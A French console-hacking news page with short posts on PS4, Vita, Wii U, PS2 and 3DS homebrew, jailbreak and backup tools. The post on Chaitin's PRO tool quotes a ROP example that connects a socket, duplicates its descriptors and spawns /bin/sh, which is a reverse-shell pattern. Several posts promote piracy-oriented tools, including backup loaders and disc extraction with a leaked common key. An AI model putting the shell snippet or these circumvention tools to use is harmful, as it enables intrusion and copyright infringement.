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L'actualité en continu
[PS4] Lancement de Backup sur une PS4 Devkit 1.76 (POC)

Voici une new assez importante, même si cette dernière ne concerne pas les users lambda de PS4 retails, on apprend sur le site PShax, qu' un certain José Coixão vient de publier une vidéo très intéressante d' un POC (proof of concept).

 

En effet, on voit dans cette vidéo le lancement d' un backup (Minecraft) sur une PS4 devkit en 1.76.

Attention pour ceux ne sachant pas ce qu' est une devkit, il s' agit d' une console de développeur qui en conséquence comporte beaucoup plus d' options et donne beaucoup plus de possibilités qu'une console du commerce dit retail (les nôtres).

 

 

 

 

Malheureusement cette manip (encore inconnue du publique) ne fonctionne QUE sur devkit, il ne sera donc pas possible de faire de même sur nos PS4 retails. Mais cela permet à la scène PS4 de mieux comprendre l'exécution et le fonctionnement des jeux afin de porter ceci sur nos chères PS4 retails.

 

Nous apprenons aussi sur Twitter que ce POC est fonctionnel sur devkit 1.76 activée, et qu' on attend le test de la "team chinoise ?" sur 3.55.

 

 

 

 

Cette vidéo arrive tout juste un jour après la publication du tuto de zecoxao sur le décryptage et le dump des UserModules PS4 (tuto ici).

 

Merci à Chronos pour l' info

 

 

 

 

 

Samedi 29 Octobre 2016, 14:41 Lue 13368 fois
38
TRPViewer : extraire/modifier/supprimer les trophées sur PC

Leecherman alias LMAN n'est plus un dev à présenter et ça fait plus de 4 jours qu'il travaille sur un petit programme (petit mais toujours utile), pour modifier, supprimer, extraire ou tout simplement voir les trophées de votre jeux Vita sur votre PC.

 

Si vous avez l'âme d'un créateur, ce soft vous permettra aussi de créer vos propres trophées mais attention, les fichiers doivent avoir un nom propre, sinon ils ne seront pas ajoutés.

 

 

 

 

Citation :

 

A Small Tool to View\Edit\Delete\Extract Contents from PlayStation TROPHY.TRP files!
Also have the Ability to Create a New TROPHY.TRP file from folders!

When Creating a New TROPHY.TRP file from folders, files must have a proper name, otherwise it will not be added.

 

 

Commande

 

These commands available only when starting the tool :
TRPViewer.exe <-details> or <-list> or <-tile> or <-icon> <trophyfile>
Use it to set the style view of the listed files, default is tile view.

 

Et comme tous ses autres petits programmes, ils nécessitent :
Microsoft DotNet v4.0 pour Windows et Mono pour Linuxien

 

Télécharger TRPviewer

Samedi 29 Octobre 2016, 12:50 Lue 2877 fois
8
VPKShellIconExt : Afficher les icônes des fichiers .vpk sur Pc

wmltogether comme l'indique son nom sur son github à mis en œuvre un shell windows comme pour 3DS  permettant d' afficher directement les icônes de vos fichiers .vpk sous windows.

Ce qui vous permettra de visualiser en direct et plus rapidement quel .vpk correspond à quel jeux.

 

Le shell est déjà à sa v20161022.0 et il continuera d'évoluer grâce à vos retours/suggestions laisser sur ce lien donné par son créateur : https://github.com/w...VPKShellIconExt

 

 

 

Fonctionnalités

 


Display psvita vpk icon in explorer Display vpk type (mai or vitamin) Show warning overlay icon for unsafe eboot.bin (unsafe eboot is not a virus,but it could access dangerous system api, use on your own risk. Please don't install unsafe vpk from Unknown sources.) Show VPK Package info (param.sfo)

 

 

Télécharger VPKShelllconExt : https://github.com/w...conExt/releases

 

NB : Si vous avez associer vos fichiers .vpk avec WinRAR, il faudra d'abord les dissocier (google est votre amis) puis installer le shell sinon, l'icône restera bloqué sur celui de WinRAR.

Samedi 29 Octobre 2016, 12:45 Lue 2615 fois
16
Wii U Ticket Modifier v1.3 disponible
Le développeur aboood40091 nous propose une nouvelle version de son homebrew qui va vous servir pour éditer les tickets disques (WUD) qui pourraient donc être utilisé avec WUPInstaller.    Dans cette nouvelle version, le logiciel va détecter automatiquement si votre ticket a besoin d'être modifié ou pas.     
    Ticket Modifier v1.3 @aboood40091 aboood40091 released this an hour ago   Automatically detects if your ticket needs to be modified or not.

 

 

  Téléchargement : Ticket Modifier v1.3
Samedi 29 Octobre 2016, 09:11 Lue 8312 fois
19
[PS Vita/PS Tv] Account switcher en firmware 3.61
Le développeur Silica viens de publier deux vidéos intéressantes pour PS Vita.

En effet il a réussi en modifiant une cartouche de jeux à partir d'une console en 3.60 a créer un Account switcher fonctionnel sur firmware 3.61.





Il continu ses recherches pour trouver une solution plus pratique.

En attendant pour pouvez voir la méthode utilisée dans cette seconde vidéo:



N'oubliez pas que HENkaku n'est compatible qu'en 3.60 donc ne faites pas de mise à jour regretable
Vendredi 28 Octobre 2016, 22:34 Lue 3765 fois
7
[PS4] Les chinois de Chaitin tech contribuent au projet linux de Fail0verflow
Comme vous avez certainement vu récemment l'équipe de chinois de chez Chaitin tech a réussi à lancer Linux sur le firmware 4.01 de la PS4.

Ils n'ont pas releasé toutes leurs découvertes pour l'instant concernant cet exploit simplement un Github où ils donnent des pistes aux développeurs sur le ROP.

Ils apportent quand même une fois de plus leur pierre à l'édifice en contribuant au Github de Fail0verflow et à l’implémentation du Kexec system call qui est fait pour booter directement un kernel Linux sur l'OS de la ps4.

En effet avec leurs découvertes ils ont modifié les fichiers du Github pour permettre l’exécution de Linux sur les firmwares 3.55,4.00 et 4.01:



Vous trouverez toutes les modifications à cette adresse:

https://github.com/f...9735e2cf8907e1e


Ces informations et modifications ne seront utiles qu'aux développeurs.


Restons attentif aux prochains jours peut être que d'autres développeurs prendront le relai

Vendredi 28 Octobre 2016, 22:34 Lue 6390 fois
47
[Wii U] Wupinstaller mod v1.2.1

Nous vous l'annoncions il y a peu, un développeur répondant au nom de Yardape8000 s'est mis en tête de proposer un mod de Wupinstaller de Dimok789 et c'est ainsi qu'il nous offre Wupinstaller Mod.

 

Pour rappel, ce mod permet notamment de retirer ou d'activer la whitelist ou la blacklist, mais il permet aussi l'installation d'un fichier (même nuisible) de prendre en compte des sauvegardes à partir d'autres régions, etc...

 

Yardape a publié pas moins de trois versions de son mod, en quatre jours, (versions 1.1.1, 1.2 et celle-ci).

 

 

 

Au total, énormément de bugs ont été résolus, le plus important étant celui qui survenait lors du choix entre la nand et le port USB.

Beaucoup de petites améliorations sont mises en place, notamment dans la description des actions que permettent certains boutons et des erreurs qui peuvent se produire, mais aussi dans la détection plus poussé des répertoires et du dernier répertoire utilisé et dans la gestion de la carte SD.

 

En clair, l’utilitaire devient nettement plus accessible pour les moins initiés.

 

Changelog:

 

v1.2.1
- Fixed error display 0xFFFBxxxx [Cyan]
- Moved error codes to main install menu.
- Don't display files in SD:/install if subfolders are used

v1.2
- Fixed selection of NAND/USB.
- Allow remount of SD and rescan folders.
- More button & error descriptions.
- Show last installed folder.

v1.1.1
- Display install directory while installing and on errors.
- Start at first selected directory when installing. This fixes an issue where if you pick to install on an unselected directory, it may install anyway.

 

Télécharger WupInstaller Mod 1.2.1

 

 

Vendredi 28 Octobre 2016, 13:07 Lue 7845 fois
9
ID Dumper, PS2Linux, SCEDoormat NoME, la scène PS2 est là
Les développeurs de la scène PS2 s'activent une nouvelle fois pour démontrer que la scène de la console de deuxième génération de Sony est toujours vivante. Ce sont les développeurs krHACKen et Maximus32 qui nous proposent de découvrir de nouvelles versions de leur homebrews.   A commencer par krHACKen qui livre ID Dumper mais aussi SCEDoormat NoME. ID Dumper est un utilitaire qui va vous permettre de décharger ou dumper l'ID iLink, les clés CDVD et l'ID PS2HDD de votre console PS2.    

 

 

PS2 ID_Dumper A little PS2 ELF which was coded for the sole purpose of dumping the machine and iLink IDs, the CDVD keys (DNA$ and SUD), and the $ONY HDD ID. It also reads the entire MECHACON NVRAM...   The dumped data are saved as raw binaries to the USB drive.   To dump your PS2HDD ID, you need three $ONY drivers (dev9.irx, atad.irx and hdd.irx), NOT INCLUDED in this package. The download comes free of $ONY proprietary code.   How to use : 1) Copy the needed modules to the ID_DUMPER folder; 2) Copy the ID_DUMPER folder in the root of your FAT32 formatted USB device; 3) Run RUNME.ELF.​   Optional drivers in Pastie nbr 10951082​  

 

 

  Téléchargement : ID_DUMPER    

Ensuite le développeur nous offre le code source d'un très bon utilitaire nommé SCEDoormat NOME (émulation MECHACON) qui est un logiciel compatible  DMCA qui vous permet de convertir un ELF en fichier FELP, qui peut alors être exécuter à partir d'un disque dur. Le code source provient de la Release 3 sortie le 13 Avril 2015. 

 

 

 

 

 

  Hello,   I decided to share the src of my SCEDoormat (No ME Version) Release 3 proggy...   The code is quite messy and meh, although it compiles fine. Should not be difficult to port the tool to other operating systems, or add your program the ability to decipher the KRYPTO files and play LEGOs:playful:...   Regards.  

 

 

  Téléchargement : src_SCEDoormat3_NoME.zip     Enfin, c'est le développeur Maximus32 qui a publié PS2Linux v3.8, cette mis à jour intègre désormais de nombreux changements et des optimisations, comme par exemple une amélioration de la vitesse Ethernet ainsi que la possibilité de spoof sous MAC, l'arrivée du noyau 3.8 permet de se libérer du 2.6.     

 

 

  Ps2Linux v3.8 ​   The release is ready, at last .   New kernel features: - one network driver for FAT and SLIM, stable - ethernet MAC address spoofing - ethernet speed increased - new fast HDD DMA driver - 2.6.35.4 upgraded to 2.6.35.14 - 2.6 kernel has same features as 3.8 - ps2dev interface working on both kernels - sps2mod working on both kernels​   New usb stick features: - sps2mod modules included, use "sps2_load" to load them - sps2dev demo's included (dma_triangle, spky_bumpmap, sps2_triangle, tshower and vspeed) - some applications to do some tests like hdparm, iperf and bonnie++.​   Feature requests welcome: - Changes to the kernel config (like adding usb drivers or file systems) - Changes to buildroot (like applications, services)​

 

 

  Téléchargement : ps2linux3.8_v0.1.img.gz et ps2linux3.8_v0.2.img.gz  
Vendredi 28 Octobre 2016, 11:26 Lue 4513 fois
15
DiscU v4.1b disponible
Le développeur Crediar nous propose de découvrir une nouvelle version de son outil DiscU qui permet d'extraire les images disque Wii U.    Nous devons le salut de cet outil grâce au leak de la Common Key, DiscU s'articule autour d'un exécutable qui permet d'extraire l'intégralité d'une iso Wii U (musiques, niveaux, images...). A noter que vous devez avoir la clé du jeu disckey.bin, le fichier game.wud du jeu, et la ckey.bin, la common key.        
Version 4.1b Fixes wrong IV in sys part adds content extraction for WUP install few other minor changes&fixes.     DiscU v 4.1b by crediar Built: 00:42:46 Oct 28 2016 Usage: DiscU.exe game.key game.wud [c]   c: extract content files only

 

 

 

Téléchargement : DiscU v4.1b

 

 

 

Vendredi 28 Octobre 2016, 07:06 Lue 10656 fois
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[Ps Vita] VitaShell v1.4: Nouvelle sécurité anti-brick

TheFlow à qui l'on doit la plus part des meilleurs homebrews sur Vita, vient de mettre à jour son VitaShell en version 1.4.

La grosse nouveauté de cette version est une nouvelle sécurité permettant la recherche d'éventuelles fonctions dangereuses dans les vpk lors de leur installations. Cette version apporte également la compression "réglable" pour les fichiers zip créés dans VitaShell, elle fix aussi les permissions pour transférer des fichiers dans ux0:video et quelques petites choses visibles dans le changelog.

 

 

Changelog 1.4:

 


- Added group RW permissions on files and folders when moving. Safe homebrews like RetroArch will now recognize files and folders that you have moved from 'ux0:video'.

- Added scanning for dangerous functions in packages.

- Added possibility to choose compression level.

- Fixed time information in zip archives.

 

 

Vous pourrez mettre à jour VitaShell directement depuis l'application ou pour ceux préférant rester hors ligne installer le vpk que vous pouvez télécharger à cette adresse: VitaShell v1.4

Vendredi 28 Octobre 2016, 03:12 Lue 3620 fois
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Le code Ksploit Chaitin dévoilé
Chose promise, chose due, le code qui permet l'exploit sous firmware 4.01 a été dévoilé, il s'agit d'un outil privé sous forme de code qui permet le jailbreak de la PlayStation 4.    

 

 

  PRO: PROgramming ROP like a PRO   This is a crappy tool used in our private PS4 jailbreak. Since some version, the internal browser is compiled WITHOUT jit support, and sys_jitshm_xxx seems to be disabled for unprivileged process. We have to write the kernel exploitation in ROP, like what has been done in HENKaku jailbreak.   Build   pip install git+https://github.com/chaitin/pro If you have modified the pro.g4 file, use the following commands to generate new lexer and parser.   cd pro/parse && antlr4 -no-listener -visitor -Dlanguage=Python2 pro.g4 Examples   toy {     {% include "gadgets.pro" %}     {% include "glibc.pro" %}     const AF_INET(2);     const SOCK_STREAM(1);     const IPPROTO_IP(0);     var fd;     socket(AF_INET, SOCK_STREAM, IPPROTO_IP);     func store_rdx_rax<libc, 0x0002e60c, "rdx,rax::">;     store_rdx_rax(&fd, undefined);     printf("socket fd = %d\n", fd);     array addr["\x02\x00\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"];     connect(fd, addr, 0x10);     {% for i in range(3): %}         dup2(fd, {{i}});     {% endfor %}     system("/bin/sh");     exit(1); } Usage   A BIG TODO. Just try and learn by yourself.   Quick Guide   All expressions should be evaluated during compilation, Const/Func should be initialized in declaration.   Func is initialized with . Base/Offset is used for relocation, Signature determines the calling convention of Func.   Array can be declared with size(Int) or directly initialized with its content(String).   For loop should be written in template script, it will be rendered before compilation. For more information, check Jinja2.

 

 

  Bien entendu, ce code et les exemples sont réservés aux développeurs.   Tout est là : chaitin/pro   Téléchargement : ROP Tool   
Jeudi 27 Octobre 2016, 21:03 Lue 9743 fois
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La team Gateway confirme pour le firmware 11.2
La Team Gateway nous confirme sur son site internet officiel que son linker est totalement fonctionnel sur le tout dernier firmware de Nintendo 11.2. La team confirme, même si nous le savions déjà, que le firmware est totalement innofensif pour les fonctions du linker.  

Les fonctions, l'EmuNAND et le menu de sélection multiroms sont totalement fonctionnels sous ce nouveau firmware 11.2.

 

 

 

 

    26/10 – Latest Emunand support   Posted on October 26, 2016   Just a quick confirmation that Gateway Emunand support Nintendo’s latest firmware 11.2 You can safely update your Emunand.   More to come soon!

 

 

 
Jeudi 27 Octobre 2016, 20:32 Lue 6405 fois
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